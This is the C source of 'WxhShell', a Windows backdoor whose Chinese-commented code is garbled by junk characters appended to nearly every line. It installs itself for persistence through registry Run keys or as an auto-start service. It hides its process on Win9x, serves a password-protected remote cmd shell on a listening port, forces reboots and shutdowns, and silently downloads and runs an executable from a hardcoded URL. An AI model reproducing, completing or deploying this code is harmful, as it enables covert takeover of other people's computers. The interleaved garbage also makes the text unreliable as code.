    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i2,4:M)CV  
    else { 1RRE{]2v#  
    closesocket(wsh); Y![Q1D!  
    ExitThread(0); 7IX8ck[D  
    } v>8C}d^  
    break; OETo?Wg1Z  
    } W [ l  
  // 获取shell H7zN|NdNw  
  case 's': { vMTf^V  
    CmdShell(wsh); s1:Wrz?4  
    closesocket(wsh); mmTpF]t ?`  
    ExitThread(0); 'Gy`e-yB  
    break; SqM>xm  
  } 0q}i5%m7  
  // 退出 3UZd_?JI[^  
  case 'x': { \P<aK$g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >JpBX+]5m  
    CloseIt(wsh); *~vB6V|1  
    break; v:t;Uk^Y  
    } %{u@{uG0'3  
  // 离开 nip6|dN  
  case 'q': { |oY{TQ<<d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $1yO Zp5  
    closesocket(wsh); lsz3'!%Y)  
    WSACleanup(); VOEV[?>ss  
    exit(1); 4p:d#,?r  
    break; Bs"D<r&ro  
        } m2PUU/8B/  
  } uo#1^`P  
  } J(7#yg%5  
!oWB5x~:P  
  // 提示信息 m'rDoly"62  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p='j/=  
} $}9jv3>)  
  } 6'^_*n  
9@ k8$@  
  return; ]o6 ZZK  
} vqm|D&HU  
vpQ&vJfR  
// shell模块句柄 /ZvP.VW&  
int CmdShell(SOCKET sock) O~3 A>j  
{ u{sHuVl  
STARTUPINFO si; L;Ff(0x|  
ZeroMemory(&si,sizeof(si)); W/Dd7 G#IC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L@N %S Sf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D=e*rrL7a  
PROCESS_INFORMATION ProcessInfo; 4V@%Y,:ee  
char cmdline[]="cmd";  Rb6BY-/J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pb5yz-?  
  return 0; 9\Ii$Mp  
} [LYO'-g^F#  
F>fCp  
// 自身启动模式 w!F>fcm  
int StartFromService(void) s<I)THC  
{ Nk'<*;e  
typedef struct 4MgN  
{ 5vx 4F f  
  DWORD ExitStatus; msl.{  
  DWORD PebBaseAddress; W A/dt2D|  
  DWORD AffinityMask; c]6b|mHT  
  DWORD BasePriority; ^'`b\$km-0  
  ULONG UniqueProcessId; V*vQNPe y  
  ULONG InheritedFromUniqueProcessId; Y2`sL,'h  
}   PROCESS_BASIC_INFORMATION; I dK*IA4  
\Zj%eW!m  
PROCNTQSIP NtQueryInformationProcess; H*=cw<  
}z` x-(V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &*`dRIQ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GwX)~.i  
C QkY6  
  HANDLE             hProcess; V(';2[)  
  PROCESS_BASIC_INFORMATION pbi; m Q2i$ 0u  
& NYaKu,}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JW>k8QjyN  
  if(NULL == hInst ) return 0; CI W4E  
6.@.k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m{IlRf'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zMSwU]4I!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R{g= N%O  
+Mo4g2W  
  if (!NtQueryInformationProcess) return 0; S;~eI8gQ"  
4Mt3<W5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R@c])\^]  
  if(!hProcess) return 0; )OI}IWDl  
YVIE v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DyC*nE;  
1Lb)S@Q`*R  
  CloseHandle(hProcess); <LbLMV  
K[T0);hZR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VVJ0?G (?  
if(hProcess==NULL) return 0; j7}mh  
,=)DykP  
HMODULE hMod; zluq2r  
char procName[255]; "Bd-h|J  
unsigned long cbNeeded; 9g6$"',H  
[ V.67_~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OyO<A3  
/~,*DH$)  
  CloseHandle(hProcess); }B0[S_mw  
<"3q5ic/Z  
if(strstr(procName,"services")) return 1; // 以服务启动 [jgVN w""D  
hK?GIbRZ  
  return 0; // 注册表启动 "r^RfZ;  
} a%%7Ew ?  
- Jaee,P  
// 主模块 ZF7n]LgSc&  
int StartWxhshell(LPSTR lpCmdLine) g QBS#NY  
{ PQaTS*0SXJ  
  SOCKET wsl; dz^HN`AlzC  
BOOL val=TRUE; }qWnn>h9xv  
  int port=0; cH_qHXi[G  
  struct sockaddr_in door; +`d92Tz  
|f_'(-v`E  
  if(wscfg.ws_autoins) Install(); c.>f,vtcn  
qiz(k:\o  
port=atoi(lpCmdLine); K|%Am4  
^G!cv  
if(port<=0) port=wscfg.ws_port; $0V+<  
Uu7]`Ul  
  WSADATA data; RP~nLh3=\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t|U5]$5  
u`v&URM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   By1T um+I1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c7CYulm  
  door.sin_family = AF_INET; .gO|=E"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +$C9@CZM9  
  door.sin_port = htons(port); %R GZu\p  
o*K7(yUL4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0>Y3xNb  
closesocket(wsl); DuC#tDP  
return 1; K~:SLCv E%  
} 4)iP%%JH  
%pVsafV  
  if(listen(wsl,2) == INVALID_SOCKET) { c/ Pql!h+  
closesocket(wsl); []>rYZ9bv  
return 1; c/$].VG0  
} q^xG%YdPz+  
  Wxhshell(wsl); "M/c0`>C!i  
  WSACleanup(); ';R]`vWFe  
QGN+f)  
return 0; 2TGND-(j  
x-i,v"8  
} S(.J  
vjX,7NY?  
// 以NT服务方式启动 7rD 8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #M!u';bZ  
{ %oiF} >  
DWORD   status = 0; 6%V:Z  
  DWORD   specificError = 0xfffffff; 0(i3RPIj\  
p&I>xu8fl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k<*v6 sNs;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JWHsTnB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #`y[75<n  
  serviceStatus.dwWin32ExitCode     = 0; dOv\]  
  serviceStatus.dwServiceSpecificExitCode = 0; DOyO`TJi  
  serviceStatus.dwCheckPoint       = 0; M4Cb(QAVP  
  serviceStatus.dwWaitHint       = 0; h1S)B|~8  
(?Ko:0+*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ucv7`W gr  
  if (hServiceStatusHandle==0) return; h] ho? K  
;?u cC@  
status = GetLastError(); qt9jZtx  
  if (status!=NO_ERROR) =|J*9z;  
{ c&PsT4Wh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )q{qWobS0  
    serviceStatus.dwCheckPoint       = 0; +mjwX?yF  
    serviceStatus.dwWaitHint       = 0; ;?q(8^A  
    serviceStatus.dwWin32ExitCode     = status; u^xnOVE  
    serviceStatus.dwServiceSpecificExitCode = specificError; UG\2wH_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ 95p[  
    return; 'A|c\sy  
  } 6r"NU`1A;r  
QyCrz{/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (+gTIcc >  
  serviceStatus.dwCheckPoint       = 0; NrS+N;i  
  serviceStatus.dwWaitHint       = 0; 4Pr^>m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #_^ p~:  
} }Bv1fbD4U  
xD*Zcw(vj~  
// 处理NT服务事件,比如:启动、停止 oL9<Fi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E 14DZ  
{ ft7M9<#v  
switch(fdwControl) n ^9?(a4u  
{ ZC2aIJ  
case SERVICE_CONTROL_STOP: z?13~e[D  
  serviceStatus.dwWin32ExitCode = 0; y9mV6.r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @~vg=(ic(  
  serviceStatus.dwCheckPoint   = 0; R:n|1]*f3X  
  serviceStatus.dwWaitHint     = 0; OybmyGHY  
  { &'`C#-e@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iZk4KX  
  } Q"s6HZ"YI  
  return; Xc+YoA0Ez  
case SERVICE_CONTROL_PAUSE: xJ<RQCW$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^/Hf$tYI!`  
  break; a;dWM(;Kw  
case SERVICE_CONTROL_CONTINUE: Yt*NIwWr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .@x.    
  break; Z42q}Fhm*R  
case SERVICE_CONTROL_INTERROGATE: YKUAI+ks  
  break; 1<~n2}   
}; CnuM=S:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K'2N:.D:  
} j&dCP@G  
()j)}F#Z`  
// 标准应用程序主函数 ,X|FyO(p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \4qF3#  
{ rmBzLZ}  
47Vt8oyh%  
// 获取操作系统版本 '`k  
OsIsNt=GetOsVer(); M &-p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K?M~x&Q  
ThP~k9-  
  // 从命令行安装 oeKl\cgFx  
  if(strpbrk(lpCmdLine,"iI")) Install(); sRLjKi2D  
lq-F*r\/~+  
  // 下载执行文件 o[wiQ9Tl  
if(wscfg.ws_downexe) { \RDqW+,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ho}*Bn~ic  
  WinExec(wscfg.ws_filenam,SW_HIDE); /T qbl^[  
} }^H(EHE  
)+v5 H  
if(!OsIsNt) { %@(+`CCA  
// 如果时win9x,隐藏进程并且设置为注册表启动 _!|$i  
HideProc(); t{UWb~"  
StartWxhshell(lpCmdLine); |H=5Am  
} n[y=DdiKGS  
else ?lqqu#;8  
  if(StartFromService()) uFmpc7  
  // 以服务方式启动 ~{g/  
  StartServiceCtrlDispatcher(DispatchTable); %;]/Z%!  
else rc:UG "[  
  // 普通方式启动 (=rDt93J  
  StartWxhshell(lpCmdLine); E\Wd*,/v)  
M`#g>~bI#R  
return 0; g<~ODMCO?W  
} orWF>o=1  
5Th\wTh04  
*kf%?T.  
wmK;0 )|H  
=========================================== }x{1{Bw>Y  
L4+R8ojG  
P\[K)N/1  
gzK/l:  
rx]Q,;"  
.@r{Tq,%q8  
" H[g i`{c  
EQ"_kJ>81Y  
#include <stdio.h> )2Q0NbDn  
#include <string.h> 6_8yQ  
#include <windows.h> N1E9w:T`  
#include <winsock2.h> i< imE#  
#include <winsvc.h> /QlzWson  
#include <urlmon.h> p? +!*BZ  
ZQR)k:k7  
#pragma comment (lib, "Ws2_32.lib") A$~H`W<yxB  
#pragma comment (lib, "urlmon.lib") i+Ne.h  
u<n['Ur}|  
#define MAX_USER   100 // 最大客户端连接数 W#d'SL#5  
#define BUF_SOCK   200 // sock buffer [vBP,_Tjx  
#define KEY_BUFF   255 // 输入 buffer zB7 ^L^Y  
u ?F},VL;  
#define REBOOT     0   // 重启 "a _S7K  
#define SHUTDOWN   1   // 关机 Zq: }SU  
W }Ll)7(|T  
#define DEF_PORT   5000 // 监听端口 [N*S5^>1  
 OvC@E]/+  
#define REG_LEN     16   // 注册表键长度 MD;,O3Ge  
#define SVC_LEN     80   // NT服务名长度 1*#hIuoj'  
mWoN\Rwj  
// 从dll定义API )abH//Pps.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &a >UVs?=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '&|%^9O/"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &B+_#V=X@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "FE%k>aV@v  
f/kYm\Zc  
// wxhshell配置信息 #~rQ\A!4  
struct WSCFG { ;$*tn"- ?~  
  int ws_port;         // 监听端口 KB\ri&bF  
  char ws_passstr[REG_LEN]; // 口令 _=[pW2p  
  int ws_autoins;       // 安装标记, 1=yes 0=no D!)h92CIDm  
  char ws_regname[REG_LEN]; // 注册表键名 P$O@G$n  
  char ws_svcname[REG_LEN]; // 服务名 =L"I[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I?q- :9:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E-9>lb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~T._ v;IT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H11@ DQ6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fA V.Mj-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VK%ExMSqEh  
Zic:d-Q47  
}; {poTA+i  
m,4'@jg0  
// default Wxhshell configuration H?=[9?1wI5  
struct WSCFG wscfg={DEF_PORT, L]X Lv9J0  
    "xuhuanlingzhe", ][\ uH|  
    1, Nhjz~S<o  
    "Wxhshell", 1 j|XC  
    "Wxhshell", 4&L,QSJ V  
            "WxhShell Service", *rm[\  
    "Wrsky Windows CmdShell Service", |jWA >S  
    "Please Input Your Password: ", /HSg)  
  1, DfOig LG*  
  "http://www.wrsky.com/wxhshell.exe", :h0!giqoQ  
  "Wxhshell.exe" Qc 1mR\.5  
    }; % 5!Y#$:{o  
-S@ ys  
// 消息定义模块 v49 i.c9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1 !.P H   
char *msg_ws_prompt="\n\r? for help\n\r#>"; I=E\=UTG,5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;$r!eFY;  
char *msg_ws_ext="\n\rExit."; ^sJp!hi4=)  
char *msg_ws_end="\n\rQuit."; U|+`Eth8(  
char *msg_ws_boot="\n\rReboot..."; ccW{88II7w  
char *msg_ws_poff="\n\rShutdown..."; li`  
char *msg_ws_down="\n\rSave to "; p2GN93,u@P  
q~\[P4m  
char *msg_ws_err="\n\rErr!"; p|r>tBv?x  
char *msg_ws_ok="\n\rOK!"; qm=9!jqC;  
)qWO}]F  
char ExeFile[MAX_PATH]; xLbF9ASim  
int nUser = 0; CS xB)-  
HANDLE handles[MAX_USER]; MA mjoH  
int OsIsNt; V2 }.X+u&<  
&9n=!S'Md  
SERVICE_STATUS       serviceStatus; ;[,#VtD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DY87NS*HF  
HM\}C.u  
// 函数声明 [}l 1`>  
int Install(void); tgrZs8?  
int Uninstall(void); !6+V  
int DownloadFile(char *sURL, SOCKET wsh); /jU4mPb;\D  
int Boot(int flag); - :x6X$=  
void HideProc(void); Pv$O=N6-  
int GetOsVer(void); #/K71Y  
int Wxhshell(SOCKET wsl); ?l 0WuU  
void TalkWithClient(void *cs); Nu; 9  
int CmdShell(SOCKET sock); Z3 na.>Z  
int StartFromService(void); erV&N,cI  
int StartWxhshell(LPSTR lpCmdLine); $O9#4A;  
M[Jy?b)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !;U}ax;AF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N1]P3  
Wc/B_F?2  
// 数据结构和表定义 Dd,]Y}P  
SERVICE_TABLE_ENTRY DispatchTable[] = [4}U*\/>C  
{ .18MMzdN  
{wscfg.ws_svcname, NTServiceMain}, ];Bk|xJ/>  
{NULL, NULL} qS[nf>"  
}; kPp7;U2A  
6)3pnhG9  
// 自我安装 |=Pw -uk  
int Install(void) ^+dL7g?+  
{ o l+*Oe  
  char svExeFile[MAX_PATH]; Oyjhc<6  
  HKEY key; eKqo6P:#f  
  strcpy(svExeFile,ExeFile); f:A1j\A?  
YR~)07  
// 如果是win9x系统,修改注册表设为自启动 _ Av_jw`m  
if(!OsIsNt) { 4p(\2?B%f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u,Cf4H*xS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yLvU@V@~  
  RegCloseKey(key); Z1+1>|-iW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S? (/~Vb%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vQ DlS1L  
  RegCloseKey(key); eq36mIo  
  return 0; lLL)S  
    } k`,>52  
  } flU?6\_UC  
} wb-_CQ  
else { Mg {=(No  
1&YkRCn0  
// 如果是NT以上系统,安装为系统服务 pU@ &-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @w[HXb  
if (schSCManager!=0) bjs{_?  
{ V)Y#m/$`  
  SC_HANDLE schService = CreateService *f+DV[DF  
  ( <a%RKjQvT  
  schSCManager, {cAGOxwd  
  wscfg.ws_svcname, 8<X; 8R  
  wscfg.ws_svcdisp, b,RQ" {  
  SERVICE_ALL_ACCESS, P?YcZAJT*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kCU (Hi`Q  
  SERVICE_AUTO_START, :.f m LL  
  SERVICE_ERROR_NORMAL, xAAwH@ +  
  svExeFile, "?{=|%mf  
  NULL, .|3&lb6  
  NULL,  r(c8P6_  
  NULL, Fpy-? U  
  NULL, *Ag,/Cm]  
  NULL |`ZW(} ~  
  ); -Y/c]g  
  if (schService!=0) 4Y}{?]>pu  
  { Z[zRZ2'i5  
  CloseServiceHandle(schService); >iI-Cs7TD  
  CloseServiceHandle(schSCManager); $2pkh%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @7,k0H9Moa  
  strcat(svExeFile,wscfg.ws_svcname); rW0-XLbL5H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |jTRIMj%,_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); : ]~G9]R`  
  RegCloseKey(key); ~myY-nEY  
  return 0; xEqr3(  
    } E(Y}*.\]#s  
  } XlU`jv+  
  CloseServiceHandle(schSCManager); W v!%'IB  
} ]F*fQ Ncjy  
} 6{TUs>~  
B)u*c]<qU  
return 1; @ZGD'+zd?  
} 5Ls ][l7  
UrEfFtH'  
// 自我卸载 rl](0"Y0 t  
int Uninstall(void) o) ,1R:  
{ jZ>x5 W  
  HKEY key; F>[T)t{m=  
C7 T}:V](q  
if(!OsIsNt) { ,ftKRq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C{U"Nsu+1  
  RegDeleteValue(key,wscfg.ws_regname); 'o]8UD(  
  RegCloseKey(key); zP|^) h5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y4I;-&d's  
  RegDeleteValue(key,wscfg.ws_regname); pt=H?{06  
  RegCloseKey(key); ]}0QrD  
  return 0; &Z 6s\r%  
  } tkKiuh?m  
} C0%yGLh&  
} SK;c D>)  
else { o==:e  
3DS&-rN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Iju9#b6  
if (schSCManager!=0) F!&$Z .  
{ |WDMyKf6J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D $3Mg  
  if (schService!=0) q=`i  
  { Dt=@OZW  
  if(DeleteService(schService)!=0) { KetNFwbUf  
  CloseServiceHandle(schService); :2(U3~3:  
  CloseServiceHandle(schSCManager); 8zzY;3^h;  
  return 0; `(o:;<&3  
  } -]k vM  
  CloseServiceHandle(schService); zX}t1:nc  
  } h3t);}Y}D9  
  CloseServiceHandle(schSCManager); 5v,_ Hgh  
} R-J^%4U`7  
}  6>&h9@  
#l#8-m8g)  
return 1; K:(E"d;  
} $bsD'Io  
yU'<b.]  
// 从指定url下载文件 <S68UN(Ke  
int DownloadFile(char *sURL, SOCKET wsh) r6gfxW5  
{ &ws^Dm]R  
  HRESULT hr; fv/Nf"  
char seps[]= "/"; dh S7}n  
char *token; xY>@GSO1  
char *file; rc`}QoB)R  
char myURL[MAX_PATH]; Z]qbLxJV  
char myFILE[MAX_PATH]; 5)iOG#8qJ  
$* hqF1Q  
strcpy(myURL,sURL); z1S p'h$  
  token=strtok(myURL,seps); XDohfa _  
  while(token!=NULL) }ej>uZVe<  
  { &hu>yH>j  
    file=token; ~kFL[Asnaf  
  token=strtok(NULL,seps); F_F02:t  
  } ! 8*l U2  
]I'dnd3e  
GetCurrentDirectory(MAX_PATH,myFILE); O QGKH6q  
strcat(myFILE, "\\"); cK.z&y0]  
strcat(myFILE, file); 85?;\ 5%-  
  send(wsh,myFILE,strlen(myFILE),0); i8->3uB  
send(wsh,"...",3,0); (NC]S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E.eUd4XG  
  if(hr==S_OK) _9:r4|S  
return 0; 2mEvoWnJ  
else "."ow|  
return 1; |wINb~trz  
qV7 9bK  
} }\0ei(%H  
g+A>Bl3#  
// 系统电源模块 O+OUcMa,  
int Boot(int flag) J"~!jrzBh(  
{ YpI|=mv  
  HANDLE hToken; v6P2v  
  TOKEN_PRIVILEGES tkp; f9D01R fo  
Dl@Jj?zc  
  if(OsIsNt) { `br$kB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U*4r<y9R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sm"s2Ci=}  
    tkp.PrivilegeCount = 1; ,0a\Ka {^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ( 4(,"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7!Qu+R  
if(flag==REBOOT) { Z0%:j\W4c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4i7+'F  
  return 0; 49.B!DqQW&  
} 5Mz:$5Tm  
else { 1]69S(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kf1NMin7  
  return 0; +\]Gu(z<  
} )M><09  
  } 7YFEyX10d  
  else { \{ve6`7Rn  
if(flag==REBOOT) { #MFIsx)r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EKus0"|  
  return 0; 2Gh&h(  
} lg +>.^7k  
else { YD;G+"n?T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \@[,UZ  
  return 0; BU#3fPl  
} 3$wK*xK  
} >L ')0<!&  
+pRNrg?k  
return 1; A `{hKS  
} YPW UncV  
XY#.?<"Q8  
// win9x进程隐藏模块 X|-[i hp;  
void HideProc(void) RqX^$C8M  
{ 0j;q^>  
yd=b!\}WJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *3)kr=x  
  if ( hKernel != NULL ) +PS jBO4!  
  { E>+>!On)b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yzT4D>1,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XBoq/kbw!  
    FreeLibrary(hKernel); |az2vD6P  
  } te4=  
5|5p -B  
return; HuJc*op-6  
} flT6y-d  
XO+rg&Pu  
// 获取操作系统版本 /,`OF/%  
int GetOsVer(void) "([/G?QAG  
{ h+ud[atk.  
  OSVERSIONINFO winfo; Z?xRSi2~7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IVY)pS"pR"  
  GetVersionEx(&winfo); @{W"mc+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) | kP utB  
  return 1; u"4 B5D  
  else Evd|_W-  
  return 0; cPv(VjS1;  
} axpZ`BUc  
)+R n[MMp  
// 客户端句柄模块 @S=9@3m{w;  
int Wxhshell(SOCKET wsl) qV6WT&)T  
{ hJsP;y:@Lm  
  SOCKET wsh; w@<II-9L)<  
  struct sockaddr_in client; $1g1Bn  
  DWORD myID; =3 Vug2*wd  
YZ`SF"Bd(  
  while(nUser<MAX_USER) tj$[szo  
{ s&Y"a,|Z  
  int nSize=sizeof(client); K8R>O *~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Caj>K  
  if(wsh==INVALID_SOCKET) return 1; JQ 6M,O  
?xrOhA9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7B)1U_L0H  
if(handles[nUser]==0) 5VJe6i9;  
  closesocket(wsh); =J4|"z:  
else 1X&.po  
  nUser++; BM`6<Z"3q  
  } lLDZ#'&An  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] |nW  
R3;%eyu  
  return 0; lPI~5N8  
} 15hqoo9!  
Fj(GyPFG  
// 关闭 socket /0 4US5En  
void CloseIt(SOCKET wsh) u>n"FL 'e  
{ bMxK@$G~  
closesocket(wsh); |-G2pu;  
nUser--; Rq%Kw > {&  
ExitThread(0); !nCq8~#  
} N -]/MB 8  
W"^=RY  
// 客户端请求句柄 5|nc^ 12  
void TalkWithClient(void *cs) <l $ d>,  
{ X.#)CB0c1Q  
P6R_W  
  SOCKET wsh=(SOCKET)cs; RFy MRE!?  
  char pwd[SVC_LEN]; y;uR@{  
  char cmd[KEY_BUFF]; 31@Lr[!  
char chr[1]; c~?Zmdn:  
int i,j; r`.N?  
[IQ|c?DxpL  
  while (nUser < MAX_USER) { msM1K1er  
|PlNVd2  
if(wscfg.ws_passstr) { Hddc-7s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kQ}n~Hn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 94?WL  
  //ZeroMemory(pwd,KEY_BUFF); p*&0d@'r  
      i=0; ?UZt30|1  
  while(i<SVC_LEN) { ?)y^ [9  
dniU{v  
  // 设置超时 AoeRoqg&#  
  fd_set FdRead; 3_~iq>l  
  struct timeval TimeOut; > :IWRc2  
  FD_ZERO(&FdRead); NOuG#P  
  FD_SET(wsh,&FdRead);  D**GC  
  TimeOut.tv_sec=8; #F.jf2h@  
  TimeOut.tv_usec=0; ;,C]WZ.w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R2gV(L(!!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PmRvjSIG  
J+J,W5t^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #uw&u6*\q  
  pwd=chr[0]; *L$2M?xkY  
  if(chr[0]==0xd || chr[0]==0xa) { Zn'tNt/  
  pwd=0; uI)twry]@  
  break; RI0^#S_{  
  } B-R#?Xn:!I  
  i++; sa(.Anmlj  
    } `;E/\eG"  
M .b8 -`V  
  // 如果是非法用户,关闭 socket 4 "HX1qP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1!~cPD'F  
} Y~-y\l;Tr  
Ve3z5d:^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UtQey ;w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ir6' \  
FT@uZWgQ=  
while(1) { M  9t7y  
 b.&W W  
  ZeroMemory(cmd,KEY_BUFF); rtRbr_  
S3E,0%yo+)  
      // 自动支持客户端 telnet标准   xi=ApwNj  
  j=0; pn gto  
  while(j<KEY_BUFF) { TZAd{EZa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G @..?>  
  cmd[j]=chr[0]; $/++afi m  
  if(chr[0]==0xa || chr[0]==0xd) { _`|1B$@x  
  cmd[j]=0; d]pb1ECuu  
  break; '7-Yo Q  
  } %w*)7@,+-  
  j++; fkBL`[v)4  
    } hM Dd*<%l  
4^tSg#!V{  
  // 下载文件 lmvp,BzC  
  if(strstr(cmd,"http://")) { h'):/}JPl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Wz8E2.  
  if(DownloadFile(cmd,wsh)) _\}'5nmw\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d,V#5l-6  
